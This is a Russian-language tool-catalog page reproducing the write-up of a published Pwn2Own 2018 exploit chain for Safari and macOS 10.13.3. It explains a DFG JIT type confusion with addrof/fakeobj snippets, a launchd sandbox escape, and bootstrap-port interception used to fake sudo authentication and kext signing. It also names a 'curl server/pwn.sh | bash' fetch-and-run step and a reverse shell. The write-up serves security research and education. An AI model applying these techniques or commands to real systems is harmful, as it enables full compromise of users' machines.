Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pwn2own2018 — A Pwn2Own exploit chain | Kitploit
Инструменты/GitHubGitHub/saelo/pwn2own2018
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHubsaelo/pwn2own2018

pwn2own2018

A Pwn2Own exploit chain

Репозиторий
7591127 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Pwn2Own 2018: Safari + macOS

RCE в Safari, выход из песочницы и LPE до ядра для macOS 10.13.3.

Использование

Установите nasm и tornado:

root@kitploit:~
brew install nasm
pip3 install tornado

Проверьте config.py, если хотите изменить хост или порты. Затем запустите сервер с помощью ./server.py и перейдите по показанному URL.

Обзор

Эта цепочка эксплойтов использует три разные ошибки, чтобы перейти от выполнения JavaScript-кода внутри Safari к выполнению кода в режиме ядра:

  1. Некорректная оптимизация в JIT-компиляторе DFG, которую можно использовать для создания путаницы типов (type confusion)
  2. Отсутствие проверок песочницы в launchd, позволяющее процессам в песочнице запускать произвольные (не изолированные) процессы
  3. Логическая ошибка в XNU, позволяющая процессу переопределять бутстрап-порт своих дочерних процессов, что приводит к ситуации MitM (человек посередине) в IPC

Цепочка эксплойтов реализована в виде шести стадий, каждая из которых находится в своём подкаталоге:

  • stage0/: эксплойт для WebKit
  • stage1/: полезная нагрузка первой стадии, написанная на ассемблере
  • stage2/: полезная нагрузка второй стадии для выхода из песочницы
  • stage3/: shell-скрипты для координации остальных стадий
  • stage4/: LPE для получения прав root
  • stage5/: LPE для получения выполнения кода в ядре
  • libspc/: повторная реализация протокола XPC, используемая стадиями 2, 4 и 5

Каждый подкаталог (за исключением libspc/) содержит файл make.py, который при выполнении запускает все необходимые команды сборки и создаёт список файлов, которые будут раздаваться веб-сервером.

Стадия 0

Цель: добиться выполнения шелл-кода внутри изолированного процесса WebContent
Используемая ошибка: некорректная оптимизация в JIT-компиляторе DFG
См. также этот доклад на BlackHat

JIT-компилятор DFG представляет JavaScript-код в своём собственном промежуточном представлении (IR) — графе потока данных (Data Flow Graph, DFG). Обычно одно JavaScript-выражение транслируется в одну или несколько IR-инструкций в этом графе. В случае функции-конструктора генерируется инструкция CreateThis, которая отвечает за выделение объекта this, создаваемого функцией. Например, функция function Consructor() {} при вызове с new была бы примерно транслирована в

root@kitploit:~
v0 = CreateThis
return v0

Посмотрев на AbstractInterpreter, можно увидеть, что JIT-компилятор DFG предполагает, что операция CreateThis не вызовет никаких побочных эффектов, кроме выделения памяти в куче. В самом деле, этот код:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

будет примерно транслирован в следующие DFG-инструкции: (Здесь инструкция StructureCheck была перемещена в начало функции фазой TypeCheckHoistingPhase).

root@kitploit:~
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

Однако это предположение неверно, поскольку код на медленном пути (slow-path) для CreateThis в некоторых случаях может выполнять произвольный JavaScript-код. В частности, при использовании Proxy вокруг реальной функции ловушка get для свойства «prototype» будет вызвана во время обработчика медленного пути для CreateThis, поскольку ему нужно получить объект-прототип для создаваемого объекта:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

Таким образом, теперь можно изменить Structure объекта без выполнения JIT-компилятором bailout.

Эту ошибку можно использовать для создания примитивов addrof и fakeobj следующим образом:

addrof

Мы компилируем код для случая JSArray с распакованными (unboxed) double-элементами, а затем в колбэке переключаемся на элементы JSValue. После этого JIT-код загрузит JSValue из массива, но интерпретирует эти биты как double и вернёт их нам. Следующий код присвоит адрес leakme свойству «address» создаваемого объекта.

root@kitploit:~
function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

Здесь мы действуем, по сути, наоборот: мы оптимизируем код для записи double в массив с распакованными (unboxed) double-элементами, а затем снова переключаемся на элементы JSValue в колбэке. Код продолжит записывать контролируемый нами double в распакованном виде в backing storage. Когда мы позже обратимся к этому элементу массива, он интерпретирует эти биты как JSValue, а не как double. Следующий код запишет распакованный double address в backing buffer массива a, откуда мы затем сможем прочитать его как JSValue, что позволяет нам «внедрять» JSValue по нашему выбору в движок.

root@kitploit:~
function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

В итоге мы получаем возможность записать double и интерпретировать его как указатель на JSObject, и наоборот. Это можно эксплуатировать, как описано в атаке на JavaScript-движки.

Эксплойт сначала добивается произвольного чтения/записи памяти процесса, подделывая Float64Array, затем ищет JIT-область (отображённую с правами RWX) и записывает туда шелл-код стадии 1.

Стадия 1

Цель: запустить стадию 2, записав .dylib на диск и загрузив его через dlopen()

Короткая полезная нагрузка на ассемблере, которая, по сути, делает следующее:

  1. Вызвать confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR), чтобы получить путь к доступному для записи каталогу
  2. Создать новый файл с именем 'x.dylib' в доступном для записи каталоге
  3. Записать dylib стадии 2 в только что созданный файл
  4. Загрузить dylib в процесс WebContent через dlopen()

Стадия 2

Цель: выйти из песочницы
Используемая ошибка: отсутствие проверок песочницы в API «legacy_spawn» в launchd
См. также этот доклад

Launchd предоставляет RPC-эндпоинт «legacy_spawn» как процедуру 817 в подсистеме 3. Этот API не проверяет, разрешено ли вызывающему процессу запускать процессы, и просто выполняет execve любого бинарника в системе от имени вызывающего с контролируемыми аргументами. Поскольку до launchd можно добраться через бутстрап-порт, это делает возможным выход из песочницы.

Эксплойт, по сути, выполняет curl server/pwn.sh | bash и таким образом передаёт управление стадии 3.

Стадия 3

Цель: запустить калькулятор (pop calc) и подготовить запуск остальных стадий

Эта стадия выполняет open /Applications/Calculator.app и устанавливает reverse shell, затем загружает все файлы, необходимые для остальных стадий, и запускает эксплойты.

Стадия 4

Цель: получить права root с помощью LPE-эксплойта
Используемая ошибка: MitM через бутстрап-порт в XNU
См. также этот доклад на POC

В XNU API task_set_special_port позволяет вызывающему процессу перезаписать свой бутстрап-порт, который используется для связи с launchd. Этот порт наследуется при fork: дочерние процессы используют тот же бутстрап-порт, что и родительский. Проблема безопасности возникает, если дочерний процесс имеет больше привилегий, чем родительский, как, например, в случае с sudo (setuid-бинарник) или kextutil (обладает энтайтлментом «com.apple.rootless.kext-management»"). Перезаписав бутстрап-порт и выполнив fork дочернего процесса, мы можем занять позицию MitM между нашим дочерним процессом и launchd (к которому дочерний процесс ожидает обратиться при отправке сообщений на бутстрап-порт). Дочерний процесс будет запрашивать у launchd разрешение различных mach- и XPC-сервисов. Разрешая эти сервисы на другие порты, контролируемые нами, мы также можем занять позицию MitM для произвольных системных сервисов, используемых нашим дочерним процессом. Дальнейшая эксплуатация зависит от того, как атакуемая программа использует эти сервисы.

Чтобы получить права root, мы атакуем бинарник sudo и перехватываем его взаимодействие с opendirectoryd, который используется sudo для проверки учётных данных. Мы изменяем ответы от opendirectoryd так, чтобы наш пароль выглядел верным.

Похоже, была попытка исправить эту проблему, поскольку libxpc (который осуществляет взаимодействие с launchd) проверяет, что ответы действительно приходят от процесса с uid=0 и pid=1 (== launchd). Однако этих проверок недостаточно. Мы можем обойти их следующим образом, чтобы разрешить opendirectoryd на наш собственный порт:

  1. Зарегистрировать наш собственный mach-сервис (например, net.saelo.hax) в launchd с помощью API bootstrap_register2
  2. Перехватить запрос поиска сервиса к launchd и заменить строку com.apple.system.opendirectoryd.api на net.saelo.hax
  3. Переслать запрос в launchd, но оставить исходный порт для ответа на месте, чтобы launchd ответил напрямую дочернему процессу и проверки в libxpc в нашем дочернем процессе прошли успешно

Теперь для повышения привилегий до root остаётся лишь пересылать сообщения между opendirectoryd и sudo, заменяя ответ об ошибке аутентификации на ответ об успехе.

Стадия 5

Цель: загрузить (самоподписанное) расширение ядра
Используемая ошибка: MitM через бутстрап-порт в XNU

Здесь эксплуатируется та же уязвимость, что и на стадии 4, но на этот раз целью является kextutil. Мы перехватываем соединение с com.apple.trustd и подделываем цепочку сертификатов, заставляя kextutil поверить, что наш самоподписанный kext на самом деле подписан напрямую Apple.

kextutil действует примерно следующим образом, когда его просят загрузить .kext с диска:

  1. Проверяет целостность .kext, сверяя все подписи с предоставленным сертификатом
  2. Связывается с trustd, чтобы получить цепочку сертификатов и определить, является ли корневой сертификат доверенным
  3. Проверяет, что корень цепочки сертификатов — это сертификат Apple
  4. Проверяет, одобрен ли .kext пользователем, обращаясь к syspolicyd. Однако, если до syspolicyd не удаётся достучаться, kextutil просто продолжает работу

Это позволяет провести следующую атаку для загрузки самоподписанных расширений ядра:

  1. Создать .kext и подписать его самоподписанным сертификатом
  2. Запустить kextutil и разрешить com.apple.trustd на наш собственный сервис
  3. Перехватывать сообщения к trustd и отвечать жёстко заданной цепочкой сертификатов официального .kext от Apple
  4. Заблокировать взаимодействие с syspolicyd (например, заменив com.apple.security.syspolicy.kext на net.saelo.lolno в запросах поиска сервисов к launchd)

kextutil теперь загрузит наше расширение ядра в ядро.

Скачать инструмент